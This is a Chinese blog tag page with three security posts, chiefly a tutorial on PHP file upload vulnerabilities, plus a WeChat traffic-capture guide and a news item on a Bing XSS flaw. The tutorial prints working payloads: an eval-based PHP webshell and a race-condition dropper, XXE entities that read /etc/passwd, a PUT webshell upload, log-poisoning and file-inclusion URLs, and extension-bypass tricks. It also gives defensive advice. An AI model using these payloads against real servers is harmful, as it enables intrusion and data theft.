标签 网络安全 下的文章 - 易航博客
REC
首页
文章分类
源码资源
技术教程
程序软件
文创娱乐
玄学修炼
关于我们
其他页面
网站统计
友情链接
用户留言
高清壁纸
关于易航
热门文章
Joe再续前缘主题 - 本站同款
易航网址导航系统 – 功能强大,轻量易用
Js自动播放HTML音乐(不受浏览器限制,无需先与浏览器交互,无需对浏览器进行修改)
网易云官方歌曲解析接口
JsonDb-PHP轻量级文件数据库系统
标签搜索
PHP
Web前端
网站源码
PHP源码
Typecho
课程资料
HTML源码
Windows程序
Typecho插件
Web
武术内功
Joe主题
Android软件
国漫
网络协议
MySQL
Python
Windows
小说
Linux程序
发布
登录
注册
找到
3
篇与
网络安全
相关的结果
2025-01-10
PHP 文件上传漏洞总结
文件上传漏洞 文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。 影响 1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。 2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。 3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。 漏洞利用 当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。 无限制上传WebShell 服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。 绕过Centent-Type验证上传WebShell MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。 Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。 Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图: 图片 假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。 在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。 一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。 二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。 通过目录遍历上传WebShell 为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。 上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。 图片 遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图: 图片 使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。 绕过黑名单上传WebShell 情况一: 为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下: php > php3、php5、phtml jsp > jspx asp > asa、aspx如果服务器采用黑名单防护,可以尝试其他后缀代替。 情况二: 关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置: LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。 如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。 LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php .jpg .txt简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。 混淆后缀上传WebShell 双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。 大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。 多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。 尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。 尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。 URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。 这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。 绕过文件内容检查上传WebShell 为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。 可以制作一个图片马进行绕过,方式如下: copy test.jpg/b+shell.php shell.jpgcopy:windows系统复制命令。 test.jpg:合法图片文件。 /b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。 +:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。 shell.php:webshell。 shell.jpg:最后生成的图片马文件。 制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。 如果只检查文件头,则可以只修改文件头为合法的即可,如下: JPG:0xFF 0xD8 PNG:0x89 0x50 GIF:0x47 0x49修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图: 图片 条件竞争上传WebShell 现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。 但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。 操作只需要两步: 一、拦截上传请求,对其进行并发,文件后缀为php,内容如下: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。 fputs :将 <?php @eval($_POST[123])?> 写入shell.php。 如下图: 图片 二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。 上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。 上传其他恶意文件 除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况: 一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。 二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。 docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下: docx 1、新建docx文件并解压。 2、解压后的文件结构如下图。 图片 word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。 图片 3、记事本打开文件document.xml进行修改。 4、document.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t>&test;</w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>共对两处进行了修改: a.定义外部实体test,内容为读取服务器/etc/passwd文件。 b.在<w:t>标签中引用test实体。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 xlsx: 大致过程和具体细节和docx相似,但涉及的XML文件不同。 1、新建xlsx文件并解压。 2、解压后的文件结构如下图。 图片 3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。 4、sheet1.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>&test;</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>还是定义了外部实体test并且引用,在<v>标签中。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。 使用PUT上传文件 如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求: PUT /images/test.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49<?php @eval($_POST[123]); ?>可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。 文件包含 文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。 include():包含文件不存在或出错,程序继续运行。 require():包含文件不存在或出错,程序终止运行。 include_once():如果相同的文件已被包含,不再进行二次包含操作。 require_once():如果相同的文件已被包含,不再进行二次包含操作。文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。 LFI:https://example.com/index.php?file=../../upload/shell.php RFI:https://example.com/index.php?file=https://test.com/upload/shell.php利用文件包含漏洞执行WebShell 在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。 制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。 通过写入日志执行WebShell 服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。 https://example.com/index.php?file=<?php @eval($_POST[123]); ?>如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。 图片 400的原因是包含的文件不存在,查看日志文件,木马成功写入。 图片 再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考: nginx: /var/log/nginx/access.log apache: /var/log/apache2/access.log /var/log/httpd/access_log 解析漏洞 从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。 IIS IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下: 目录解析: 服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下: https://example.com/upload/test.asp/test.jpg如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。 文件解析: 之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下: https://example.com/upload/test.asp;.jpg解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。 格式解析: 有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。 https://example.com/upload/test.cerIIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。 Apache 解析顺序: Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下: https://example.com/upload/test.php.aaa.bbb假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。 配置文件: 上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下: AddType application/x-httpd-php .php .jpg .txtNginx 跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。 https://example.com/upload/test.jpg在图片马后添加一个不存在的php文件,如下: https://example.com/upload/test.jpg/123.php正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。 所以测试的时候,在图片马后加一个不存在的php文件判断就行了。 绕过 文件上传漏洞绕过总结,如下图: 图片 预防攻击 可以借鉴以下方式对文件上传漏洞进行防御和修复。 白名单校验 对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。 检查文件内容 对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。 上传目录权限 设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。 使用安全框架 尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。 安全的中间件 使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。 总结 如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
技术教程
# PHP
# 网络安全
易航
3天前
0
11
0
2024-12-27
微信小程序渗透测试——抓包手记
使用工具:Proxifier+Burp Suite + 微信PC端 一、Burp Suite 设置 开启监听本地8080端口,如下图: 图片 使用Burp Suite导出功能导出证书或者浏览器使用代理访问127.0.0.1:8080下载证书,如下图: 图片 图片 安装证书至PC中,如下图: 图片 图片 图片 图片 图片 图片 图片 图片 图片 图片 二、Proxifier 设置 设置代理,将抓包流量转发至本地8080端口:点击配置文件——>代理服务器——>添加,设置如下: 图片 图片 图片 设置代理规则,抓取小程序数据包:点击配置文件——>代理规则——>添加——>在应用程序中填写小程序的进程wechatappex.exe 图片 图片 图片 图片 图片 图片 配置均已完成。 三、演示 演示截图如下,仅演示作用: 图片 图片
技术教程
# 小程序
# 网络安全
易航
1年前
0
119
0
2024-12-03
Bing搜索引擎爆出严重XSS漏洞
最近在 Bing.com 上发现的跨站点脚本 (XSS) 漏洞引发了严重的安全问题,可能允许攻击者在 Microsoft 的互连应用程序之间发送精心设计的恶意请求。此漏洞在 Bing 的主域上发现,突显了与广泛的 Web 服务集成相关的风险,并突出了大规模利用的可能性。 该漏洞是在对 Bing 的 API 攻击面进行详细检查时发现的,特别关注 Bing 的主域如何与其他 Microsoft 服务交互。 研究表明,XSS 漏洞可用于在 Bing 的主域“www.bing.com”上执行任意 JavaScript。 研究人员“pedbap”观察到,然后可以利用此执行来制作针对用户默认登录的其他 Microsoft 应用程序(例如 Outlook、Copilot 和 OneDrive)的恶意请求。 攻击机制 攻击首先利用XSS 漏洞创建恶意链接。此链接允许攻击者在 Bing 的主域上下文中执行 JavaScript。鉴于 Bing 与其他 Microsoft 服务的集成,恶意脚本可以发送触发这些平台敏感操作的请求。 Bing 的广泛使用增强了攻击的潜在影响,每天有数百万用户与 Bing 的功能进行交互。一旦执行,恶意 JavaScript 就可以跨多个 Microsoft 服务访问用户数据。 这包括在 Outlook 中阅读电子邮件、访问 OneDrive 中的文件,以及可能在其他连接的应用程序中操作数据。Microsoft 生态系统的互连性质意味着一项服务中的漏洞可能会对其他服务产生级联影响。 这一发现凸显了对用户和 Microsoft 的重大安全影响。从 Bing 等受信任域执行 XSS 攻击的能力构成了严重威胁,因为它可能导致未经授权的数据访问和操纵。 图片 此外,此类漏洞可能是“可蠕虫的”(无需用户交互即可自动传播)增加了被广泛利用的风险。 Microsoft 已收到此漏洞的警报,预计将迅速采取措施修补受影响的系统。 建议用户在点击来自不受信任的来源的链接时要小心,并确保他们的浏览器和安全软件是最新的。 作为更广泛的安全措施的一部分,使用 Microsoft 服务的组织应检查其配置和访问控制,以防止未经授权的访问。 Bing.com 上的 XSS 漏洞严重提醒我们强大的 Web安全实践的重要性,尤其是在互连的数字生态系统中。 漏洞原理:https://medium.com/@pedbap/wormable-xss-www-bing-com-7d7cb52e7a12 演示视频:https://www.youtube.com/watch?v=_brKdFmYGdI82b259890b043bbf580301bedb6bf4e28embeds_widget_referrer=https%3A%2F%2Fmedium.com%2F%40pedbap%2Fwormable-xss-www-bing-com-7d7cb52e7a1282b259890b043bbf580301bedb6bf4e29embeds_referring_euri=https%3A%2F%2Fcdn.embedly.com%2F82b259890b043bbf580301bedb6bf4e210embeds_referring_origin=https%3A%2F%2Fcdn.embedly.com82b259890b043bbf580301bedb6bf4e211source_ve_path=OTY3MTQ
技术教程
# 网络安全
易航
1年前
2
33
0